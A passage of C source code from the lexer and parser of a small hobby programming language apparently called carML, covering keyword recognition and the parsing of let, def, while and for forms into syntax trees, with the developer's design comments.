ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LRE0: if(cur == 'c') { substate = LRECORD0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else if(cur == 'f') { substate = LREF0; } else { substate = LIDENT0; } break; case LRECORD0: if(cur == 'o') { substate = LRECORD1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LRECORD1: if(cur == 'r') { substate = LRECORD2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LRECORD2: if(cur == 'd') { substate = LRECORD3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LRECORD3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TRECORD; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LREF0: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TREF; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LT0: if(cur == 'h') { //debugln; substate = LTHEN0; } else if(cur == 'y') { substate = LTYPE0; } else if(cur == 'r') { substate = LTRUE0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTHEN0: if(cur == 'e') { //debugln; substate = LTHEN1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTHEN1: if(cur == 'n') { //debugln; substate = LTHEN2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTHEN2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { //debugln; ungetc(cur, fdin); return TTHEN; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LTYPE0: if(cur == 'p') { substate = LTYPE1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTYPE1: if(cur == 'e') { substate = LTYPE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTYPE2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TTYPE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LTRUE0: if(cur == 'u') { substate = LTRUE1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTRUE1: if(cur == 'e') { substate = LTRUE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LTRUE2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TTRUE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LARRAY1: if(cur == 'r') { substate = LARRAY2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate= LIDENT0; } break; case LARRAY2: if(cur == 'a') { substate = LARRAY3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LARRAY3: if(cur == 'y') { substate = LARRAY4; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LARRAY4: if(isident(cur)) { substate = LIDENT0; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx] = '\0'; return TARRAY; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LW0: if(cur == 'h') { substate = LWH0; } else if(cur == 'i') { substate = LWITH0; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWH0: if(cur == 'e') { substate = LWHEN1; } else if(cur == 'i') { substate = LWHILE1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWHEN1: if(cur == 'n') { substate = LWHEN2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWHEN2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TWHEN; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LWHILE1: if(cur == 'l') { substate = LWHILE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWHILE2: if(cur == 'e') { substate = LWHILE3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWHILE3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TWHILE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LWITH0: if(cur == 't') { substate = LWITH1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWITH1: if(cur == 'h') { substate = LWITH2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LWITH2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TWITH; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LOF0: if(cur == 'f') { substate = LOF1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LOF1: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TOF; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LPOLY0: if(cur == 'o') { substate = LPOLY1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LPOLY1: if(cur == 'l') { substate = LPOLY2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LPOLY2: if(cur == 'y') { substate = LPOLY3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LPOLY3: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TPOLY; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LUSE0: if(cur == 's') { substate = LUSE1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LUSE1: if(cur == 'e') { substate = LUSE2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LUSE2: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TUSE; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LVAL0: //debugln; if(cur == 'a') { substate = LVAL1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LVAL1: if(cur == 'l') { substate = LVAL2; } else if(cur == 'r') { substate = LVAR2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LVAL2: if(isident(cur)) { //debugln; substate = LIDENT0; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { //debugln; ungetc(cur, fdin); return TVAL; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LVAR2: if(isident(cur)) { //debugln; substate = LIDENT0; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { //debugln; ungetc(cur, fdin); return TVAR; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LSTRT0: if(cur == 't') { substate = LSTRT1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LSTRT1: if(cur == 'r') { substate = LSTRT2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LSTRT2: if(cur == 'i') { substate = LSTRT3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LSTRT3: if(cur == 'n') { substate = LSTRT4; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LSTRT4: if(cur == 'g') { substate = LSTRT5; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LSTRT5: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TSTRT; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LMATCH0: if(cur == 'a') { substate = LMATCH1; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LMATCH1: if(cur == 't') { substate = LMATCH2; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LMATCH2: if(cur == 'c') { substate = LMATCH3; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LMATCH3: if(cur == 'h') { substate = LMATCH4; } else if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TIDENT; } else { substate = LIDENT0; } break; case LMATCH4: if(isident(cur)) { substate = LIDENT0; }else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); return TMATCH; } else { strncpy(buf, "malformed identifier", 512); return TERROR; } break; case LTAG0: tagorident = TTAG; substate = LTAGIDENT; if(iswhite(cur) || isbrace(cur) || cur == '\n') { ungetc(cur, fdin); buf[idx - 1] = '\0'; return TTAG; } break; case LIDENT0: tagorident = TIDENT; substate = LTAGIDENT; break; case LTAGIDENT: //printf("cur == %c\n", cur); if(idx > 0 && (iswhite(buf[idx - 1]) || buf[idx - 1] == '\n' || isbrace(buf[idx - 1]))) { //debugln; ungetc(cur, fdin); buf[idx - 1] = '\0'; //printf("idx: %d, buffer: %s\n", idx - 1, buf); return tagorident; } else if(iswhite(cur) || cur == '\n' || isbrace(cur)) { ungetc(cur, fdin); buf[idx - 1] = '\0'; return tagorident; } else if(!isident(cur)) { strncpy(buf, "malformed identifier", 512); return TERROR; } break; } cur = fgetc(fdin); } } } } /* currently, if there's a parse error mid-stream, * the REPL keeps reading. I think a better way of * handling that would be to lex tokens until we * get a TEOF, and then use that _stream_ of * tokens as input to a higher-level expressions * builder. A bit more work, but it would make the * REPL experience nicer. */ ASTEither * readexpression(FILE *fdin) { return llreadexpression(fdin, 0); } ASTEither * llreadexpression(FILE *fdin, uint8_t nltreatment) { /* _read_ from `fdin` until a single AST is constructed, or EOF * is reached. */ AST *head = nil, *tmp = nil, *vectmp[128]; ASTEither *sometmp = nil; int ltype = 0, ltmp = 0, idx = 0, flag = -1, typestate = 0, fatflag = 0; char buffer[512] = {0}; char name[8] = {0}; char errbuf[512] = {0}; ltype = next(fdin, &buffer[0], 512); switch(ltype) { case TDOLLAR: tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TDOLLAR; return ASTRight(tmp); case TCOMMENT: /* do we want return this, so that we can * return documentation, &c.? */ sometmp = readexpression(fdin); return sometmp; case TERROR: return ASTLeft(0, 0, hstrdup(&buffer[0])); case TEOF: head = (AST *)hmalloc(sizeof(AST)); head->tag = TEOF; return ASTRight(head); case TLET: case TLETREC: head = (AST *)hmalloc(sizeof(AST)); head->tag = ltype; /* setup: * - head->value = name binding * - head->children[0] = value * - head->children[1] = body * - head->children[2] = type (optional) */ if(ltype == TLET) { strncpy(name, "let", 3); } else { strncpy(name, "letrec", 6); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { tmp = sometmp->right; } if(tmp->tag != TIDENT) { snprintf(&errbuf[0], 512, "%s's binding *must* be an IDENT: `%s IDENT = EXPRESION in EXPRESSION`", name, name); return ASTLeft(0, 0, hstrdup(&errbuf[0])); } head->value = hstrdup(tmp->value); // add types here sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TEQ && sometmp->right->tag != TCOLON) { snprintf(&errbuf[0], 512, "%s's IDENT must be followed by an `=`: `%s IDENT = EXPRESSION in EXPRESSION`", name, name); return ASTLeft(0, 0, hstrdup(&errbuf[0])); } else if(sometmp->right->tag == TCOLON) { /* ok, the user is specifying a type here * we have to consume the type, and then * store it. */ head->lenchildren = 3; head->children = (AST **)hmalloc(sizeof(AST *) * 3); sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "a `:` form *must* be followed by a type definition..."); } else if(issimpletypeast(sometmp->right->tag)) { head->children[2] = sometmp->right; } else { /* complex type... */ flag = idx; /* we hit a complex type, * now we're looking for * either `of` or `=`. */ vectmp[idx++] = sometmp->right; typestate = 1; while(sometmp->right->tag != TEQ) { sometmp = readexpression(fdin); if(sometmp->right->tag == ASTLEFT) { return sometmp; } switch(typestate) { case 0: // awaiting a type if(!istypeast(sometmp->right->tag)) { return ASTLeft(0, 0, "expected type in `:` form"); } else if(issimpletypeast(sometmp->right->tag)) { typestate = 2; } else { typestate = 1; } vectmp[idx++] = sometmp->right; break; case 1: // awaiting either TOF or an end if(sometmp->right->tag == TOF) { typestate = 0; } else if(sometmp->right->tag == TEQ) { typestate = 3; } else { return ASTLeft(0, 0, "expected either an `of` or a `=`"); } break; case 2: case 3: break; } if(typestate == 2 || typestate == 3) { break; } } /* collapse the above type states here... */ tmp = (AST *) hmalloc(sizeof(AST)); tmp->tag = TCOMPLEXTYPE; tmp->lenchildren = idx - flag; tmp->children = (AST **) hmalloc(sizeof(AST *) * tmp->lenchildren); for(int cidx = 0, tidx = flag, tlen = tmp->lenchildren; cidx < tlen; cidx++, tidx++) { tmp->children[cidx] = vectmp[tidx]; } vectmp[flag] = tmp; idx = flag; flag = 0; head->children[2] = tmp; } if(typestate != 3) { sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TEQ) { return ASTLeft(0, 0, "a `let` type definition *must* be followed by an `=`..."); } } } else { /* if we hit a TEQ, then we don't need any extra allocation, * just two slots. */ head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[0] = sometmp->right; } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { tmp = sometmp->right; } /* really should check if this is an * `and`, such that we can have multiple * bindings... */ if(tmp->tag != TIN) { snprintf(&errbuf[0], 512, "%s's EXPR must be followed by an `in`: `%s IDENT = EXPRESSION in EXPRESSION`", name, name); return ASTLeft(0, 0, hstrdup(&errbuf[0])); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { head->children[1] = sometmp->right; } return ASTRight(head); case TDECLARE: head = (AST *)hmalloc(sizeof(AST)); head->tag = TDECLARE; head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); int substate = 0, curoffset = 0; char *decls[32] = {0}; int lexemes[32] = {0}; /* the structure of a declaration: * head->value: ident name being declared * head->children[0] = parameter-list params * head->children[1] = return type; */ ltmp = next(fdin, &buffer[0], 512); if(ltmp != TIDENT) { return ASTLeft(0, 0, "parser error"); } head->value = hstrdup(buffer); /* ok, so first we collate the terms of the declaration * into a pair of stacks, one side is the string representation * the other the lexeme type. */ do { ltmp = next(fdin, &buffer[0], 512); if(ltmp == TEOF || ltmp == TERROR || ltmp == TNEWL) { break; } decls[curoffset] = hstrdup(buffer); lexemes[curoffset] = ltmp; curoffset++; } while(ltmp != TNEWL); /* next, we iterate o'er the list of collected terms * and parse them as a collection of type declarations. */ tmp = mung_declare((const char **)decls, (const int **)lexemes, curoffset, TNEWL); head->children[0] = tmp; return ASTRight(head); case TFN: case TDEF: head = (AST *) hmalloc(sizeof(AST)); head->tag = ltype; int loopflag = 1; AST *params = nil, *returntype = nil; if(ltype == TDEF){ ltmp = next(fdin, &buffer[0], 512); if(ltmp != TIDENT) { return ASTLeft(0, 0, "parser error"); } head->value = hstrdup(buffer); head->lenvalue = strnlen(buffer, 512); } /* the specific form we're looking for here is * TDEF TIDENT (TIDENT *) TEQUAL TEXPRESSION * that (TIDENT *) is the parameter list to non-nullary * functions. I wonder if there should be a specific * syntax for side-effecting functions... */ #ifdef NEVERDEF sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { tmp = sometmp->right; } #endif /* * so, we have to change this a bit. Instead of reading * in just a list of idents, we need to accept that there * can be : and => in here as well. Basically, we want to * be able to parse this: * * def foo x : int bar : array of int => int = { * # ... * } * * this same code could then be used to make @ work, even * if the current stream idea in @ is nicer * actually, should just steal the code from records for * here... besides, the same code could then be used for * declare... */ while(loopflag) { switch(typestate) { case 0: sometmp = readexpression(fdin); debugln; if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TIDENT) { // name debugln; typestate = 1; } else if(sometmp->right->tag == TFATARROW) { // return type debugln; fatflag = idx; typestate = 2; } else if(sometmp->right->tag == TEQ) { // body //debugln; typestate = 3; } else { //debugln; //dprintf("tag == %d\n", sometmp->right->tag); return ASTLeft(0, 0, "`def` must have either a parameter list, a fat-arrow, or an equals sign."); } debugln; dprintf("typestate == %d\n", typestate); break; case 1: // TIDENT debugln; vectmp[idx] = sometmp->right; flag = idx; idx++; sometmp = readexpression(fdin); //debugln; if(sometmp->tag == ASTLEFT) { //debugln; return sometmp; } else if(sometmp->right->tag == TIDENT) { //debugln; typestate = 1; } else if(sometmp->right->tag == TFATARROW) { debugln; fatflag = idx; typestate = 2; } else if(sometmp->right->tag == TEQ) { //debugln; typestate = 3; } else if(sometmp->right->tag == TCOLON) { //debugln; //dprintf("sometmp type: %d\n", sometmp->right->tag); typestate = 4; } else { //debugln; //dprintf("tag == %d\n", sometmp->right->tag); return ASTLeft(0, 0, "`def` identifiers *must* be followed by `:`, `=>`, or `=`"); } debugln; dprintf("tag == %d, typestate == %d\n", sometmp->right->tag, typestate); break; case 3: // TEQ, start function /* mark the parameter list loop as closed, * and begin to process the elements on the * stack as a parameter list. */ //debugln; loopflag = 0; if(idx > 0) { //debugln; params = (AST *) hmalloc(sizeof(AST)); params->children = (AST **) hmalloc(sizeof(AST *) * idx); for(int i = 0; i < idx; i++) { params->children[i] = vectmp[i]; } //debugln; params->tag = TPARAMLIST; params->lenchildren = idx; //debugln; } break; // part of the problem here is that // I tried to simplify the states, but // ended up with messier code and more // stateful stuff. Undoing some of that // now, by unwinding the fatflag code case 2: // TFATARROW, return debugln; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(!istypeast(sometmp->right->tag)) { dprintf("somehow here, but... %d\n", sometmp->right->tag); return ASTLeft(0, 0, "a `=>` form *must* be followed by a type definition..."); } else if(issimpletypeast(sometmp->right->tag)) { debugln; returntype = sometmp->right; typestate = 6; } else { // complex type debugln; vectmp[idx] = sometmp->right; flag = idx; idx++; typestate = 21; } break; case 21: // OF but for return sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TOF) { typestate = 22; } else if(sometmp->right->tag == TARRAYLITERAL) { tmp = sometmp->right; for(int tidx = 0; tidx < tmp->lenchildren; tidx++, idx++) { vectmp[idx] = tmp->children[tidx]; } returntype = (AST *)hmalloc(sizeof(AST)); returntype->tag = TCOMPLEXTYPE; returntype->lenchildren = idx - flag; returntype->children = (AST **)hmalloc(sizeof(AST *) * returntype->lenchildren); for(int cidx = 0, tidx = flag, tlen = returntype->lenchildren; cidx < tlen; cidx++, tidx++) { returntype->children[cidx] = vectmp[tidx]; } idx = flag; flag = 0; typestate = 6; } else if(sometmp->right->tag == TEQ) { returntype = (AST *)hmalloc(sizeof(AST)); returntype->tag = TCOMPLEXTYPE; returntype->lenchildren = idx - flag; returntype->children = (AST **)hmalloc(sizeof(AST *) * returntype->lenchildren); for(int cidx = 0, tidx = flag, tlen = returntype->lenchildren; cidx < tlen; cidx++, tidx++) { returntype->children[cidx] = vectmp[tidx]; } idx = flag; flag = 0; typestate = 3; } else { return ASTLeft(0, 0, "a complex type in `=>` must be followed by `of`, `=`, or an array of types."); } break; case 22: // complex end result, but for return sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(issimpletypeast(sometmp->right->tag) || sometmp->right->tag == TARRAYLITERAL) { vectmp[idx] = sometmp->right; idx++; returntype = (AST *)hmalloc(sizeof(AST)); returntype->tag = TCOMPLEXTYPE; returntype->lenchildren = idx - flag; returntype->children = (AST **)hmalloc(sizeof(AST *) * returntype->lenchildren); for(int cidx = 0, tidx = flag, tlen = returntype->lenchildren; cidx < tlen; cidx++, tidx++) { returntype->children[cidx] = vectmp[tidx]; } idx = flag; flag = 0; typestate = 6; } else if(iscomplextypeast(sometmp->right->tag)) { vectmp[idx] = sometmp->right; idx++; typestate = 21; } else { return ASTLeft(0, 0, "`of` in `=>` complex type *must* be followed by a type or an array of types."); } break; case 4: // type case 7: // of //dprintf("%%debug: typestate = %d, sometmp->right->tag = %d\n", typestate, sometmp->right->tag); sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { //debugln; return sometmp; } else if(!istypeast(sometmp->right->tag) && sometmp->right->tag != TARRAYLITERAL) { //dprintf("type: %d\n", sometmp->right->tag); //debugln; return ASTLeft(0, 0, "a `:` form *must* be followed by a type definition..."); } else if(issimpletypeast(sometmp->right->tag)) { // simple type if(typestate == 4) { //debugln; tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TPARAMDEF; tmp->lenchildren = 2; tmp->children = (AST **)hmalloc(sizeof(AST *) * 2); tmp->children[0] = vectmp[idx - 1]; tmp->children[1] = sometmp->right; vectmp[idx - 1] = tmp; typestate = 0; } else if(typestate == 7) { //debugln; vectmp[idx] = sometmp->right; AST *ctmp = (AST *)hmalloc(sizeof(AST)); ctmp->tag = TCOMPLEXTYPE; ctmp->lenchildren = idx - flag; ctmp->children = (AST **)hmalloc(sizeof(AST *) * ctmp->lenchildren); for(int tidx = flag + 1, cidx = 0; cidx < idx; cidx++, tidx++) { ctmp->children[cidx] = vectmp[tidx]; } if(fatflag) { returntype = ctmp; idx = fatflag; } else { tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TPARAMDEF; tmp->lenchildren = 2; tmp->children = (AST **)hmalloc(sizeof(AST *) * 2); tmp->children[0] = vectmp[flag]; tmp->children[1] = ctmp; idx = flag + 1; vectmp[flag] = tmp; } typestate = 0; // need to collapse from flag -> idx } else { returntype = sometmp->right; typestate = 6; } } else { // complex type debugln vectmp[idx] = sometmp->right; idx++; typestate = 5; } break; case 5: // complex type "of" game //walk(sometmp->right, 0); //debugln; sometmp = readexpression(fdin); // need to collapse the complex type in // the state transforms below, not just // dispatch. It's close tho. // this is why complex types aren't working in // certain states (like `URL` as a stand alone) // also need to trace down why other areas are // failing too (like after `=>`). Very close if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag == TOF) { debugln; typestate = 7; } else if(sometmp->right->tag == TIDENT) { debugln; typestate = 1; } else if(sometmp->right->tag == TEQ) { typestate = 3; } else if(sometmp->right->tag == TARRAYLITERAL) { // which state here? need to check that the // array only has types in it... } else if(sometmp->right->tag == TFATARROW) { debugln; fatflag = idx; typestate = 2; } else { return ASTLeft(0, 0, "a complex type most be followed by an `of`, an ident, an array, a `=` or a `=>`"); } // ok we have dispatched, now collapse if(typestate != 7) { debugln; AST *ctmp = (AST *)hmalloc(sizeof(AST)); ctmp->tag = TCOMPLEXTYPE; dprintf("typestate: %d, idx: %d, flag: %d\n", typestate, idx, flag); ctmp->lenchildren = idx - flag - 1; ctmp->children = (AST **)hmalloc(sizeof(AST *) * ctmp->lenchildren); dprintf("len of children should be: %d\n", ctmp->lenchildren); for(int tidx = flag + 1, cidx = 0; tidx < idx ; cidx++, tidx++) { debugln; ctmp->children[cidx] = vectmp[tidx]; } if(fatflag && fatflag != idx) { returntype = ctmp; /* * so the "correct" way of doing this would be to actually * break out the state for return, and then duplicate the * code there. It would be context-free, and would work * nicely. I didn't do that tho. I chose to de-dupe the * code, and just use flags. Best idea? Dunno, but the * code is smaller, and means I have to change fewer * locations. Honestly, this stuff should all be added * to *ONE* location that I can pull around to the various * places; right now records may not handle tags correctly, * for example. However, I think adding a "streaming" interface * in carML/carML (that is, self-hosting carML) would make * this a lot nicer looking internally. */ debugln; idx = fatflag + 1; flag = fatflag + 1; } else { debugln; tmp = (AST *)hmalloc(sizeof(AST)); tmp->tag = TPARAMDEF; tmp->lenchildren = 2; tmp->children = (AST **)hmalloc(sizeof(AST *) * 2); tmp->children[0] = vectmp[flag]; tmp->children[1] = ctmp; vectmp[flag] = tmp; idx = flag + 1; } //debugln; } break; case 6: // post-fatarrow sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TEQ) { return ASTLeft(0, 0, "a `=>` return type must be followed by an `=`"); } else { typestate = 3; } break; } } /* ok, now that we have the parameter list and the syntactic `=` captured, * we read a single expression, which is the body of the procedure we're * defining. */ sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else { tmp = sometmp->right; } /* Now, we have to build our actual TDEF AST. * a TDEF is technically a list: * - TIDENT that is our name. * - TPARAMLIST that holds our parameter names * - and some TExpression that represents our body */ if(returntype != nil) { head->children = (AST **)hmalloc(sizeof(AST *) * 3); head->lenchildren = 3; head->children[2] = returntype; } else { head->children = (AST **)hmalloc(sizeof(AST *) * 2); head->lenchildren = 2; } head->children[0] = params; head->children[1] = tmp; return ASTRight(head); case TWHILE: head = (AST *)hmalloc(sizeof(AST)); head->tag = TWHILE; head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[0] = sometmp->right; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TDO) { return ASTLeft(0, 0, "While form conditions *must* be followed by a `do`..."); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[1] = sometmp->right; return ASTRight(head); case TFOR: head = (AST *)hmalloc(sizeof(AST)); head->tag = TFOR; head->lenchildren = 2; head->children = (AST **)hmalloc(sizeof(AST *) * 2); sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } if(sometmp->right->tag != TIDENT) { return ASTLeft(0, 0, "for-form's name must be an ident"); } head->value = sometmp->right->value; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TIN) { return ASTLeft(0, 0, "for-form binding *must* be followed by an `in`..."); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } head->children[0] = sometmp->right; sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } else if(sometmp->right->tag != TDO) { return ASTLeft(0, 0, "for-form conditions *must* be followed by a `do`..."); } sometmp = readexpression(fdin); if(sometmp->tag == ASTLEFT) { return sometmp; } 